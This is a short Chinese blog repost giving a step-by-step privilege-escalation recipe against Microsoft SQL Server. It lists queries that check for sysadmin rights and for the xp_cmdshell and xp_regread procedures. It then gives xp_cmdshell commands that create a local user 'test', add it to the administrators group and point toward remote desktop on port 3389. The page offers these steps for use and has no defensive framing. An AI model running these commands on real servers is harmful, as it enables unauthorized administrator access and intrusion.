您的位置:首页 > 运维架构 > Shell

[提权禁区] SQL语句利用xp_cmdshell获取权限

2016-03-27 00:53 417 查看
判断权限是不是sa

select is_srvrolemember('sysadmin')

返回是1说明是sa

判断xp_cmdshell扩展存储是否存在

select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'

返回为l则证明存在

判断xp_regread扩展存储过程是否存在

select count(*) from master.dbo.sysobjects where name='xp_regread'

返回1证明存在

添加用户

exec master..xp_cmdshell 'net user test test /add'

exec master..xp_cmdshell 'net localgroup administrators test /add'

后来就是查看3389端口了,

exec master..xp_cmdshell 'XXXXX'里面输入cmd命令就是了

文中资料引用:http://www.wooyun.org/bugs/wooyun-2010-037806
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  提权 sql